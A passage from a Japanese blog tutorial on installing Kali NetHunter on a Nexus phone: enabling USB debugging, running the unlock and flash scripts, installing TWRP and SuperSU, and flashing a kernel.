同じく、以下のサイトからSuperSuをダウンロードする。
全てのファイルをダウンロードして配置した状態はこんな感じ
この時、ダウンロードしてきたzipファイルや、imageファイルの名前を変更しちゃダメです。
デバックの有効化(開発者向けオプション)
1.Nexusの設定から端末情報を選択
2.ビルド番号を何回かタップする
3.端末情報の上に開発者向けオプションが表示される
4.USBデバックを許可する
これでNexusの準備は完了
インストール
NexusをPCに接続してコンソールを起動する。
1.次のスクリプトを実行して端末のロックを解除する。
./oemUnlock.sh
全ての処理が終了するともう一度開発者向けオプションを有効化してUSBデバッグを有効にする事を示される。
そして次の手順として「stockFlash.sh」を使用してイメージを入れ直すか、TWRPとsuperSUとNethunterがインストールされる「twrpFlash.sh」を実行する事を示される。今回は「stockFlash.sh」を使用してイメージを入れ直す。
2.再度端末のUSBデバッグを有効にした後に以下のコマンドを実行しダウンロードしてきたファクトリーイメージを書き込む。
./stockNexusFlash.sh
何度か自動で再起動するので待機(5分くらい?)
コンソールでここまでくると処理は終了してして端末側が初回起動状態になってる。とりあえず適当に入力して再度、USBデバッグを有効にするところまで実行
上の図のように次の手順が示されている。
3.TWRP、superSU、Nethunterのインストールを実行する「twrpFlash.sh」を実行
./twrpFlash.sh
再起動した後にTWRPがインストールされてユーザからの入力待ち状態になる。
端末側
この状態で、端末側では何も操作せずコンソール側で何かキーを押す。
インストールが始まり、端末側とコンソール側で以下のような感じになる。
のんびりと・・・
優雅に・・・
待機w(それなりに時間かかる)
最後にコンソールに上図のようなメッセージが流れたら無事に終了!
端末側でもKALIの起動ロゴアニメーションが表示されている。
4.最後にカーネルのアップデートを行うので、一度電源を落としてボリュームダウンボタンと電源ボタンを押して起動。するとブートローダーが起動するのでリカバリモードを選択してTWRPを起動する。
用意していたカーネルを端末のダウンロードディレクトリに入れておく。(別に自分がわかるなら何処でもOKだと思う)
端末側はTWRPのメニューから一番左上のインストールを選択
次の画面ではダウンロードディレクトリを選択
カーネルを選択して、右下のインストールイメージを選択
画面下をスワイプしてインストール開始
インストールが終了したら右下の再起動ボタンを選択
Nethunterを起動すると一度だけ聞かれるので許可する。
これでインストールが完了!
まとめ
Nexusへのインストールに関しては資料やツールも多いので簡単に作れると思うw いちおオフィシャルではNexus以外の端末でもインストール可能と表示しているがちょっと敷居が高そうにも思える(個人的には)今、Nexus5や、6あたりは中古市場で安いのが出回っているのでインストールして見るのも楽しいかもしれない⁉︎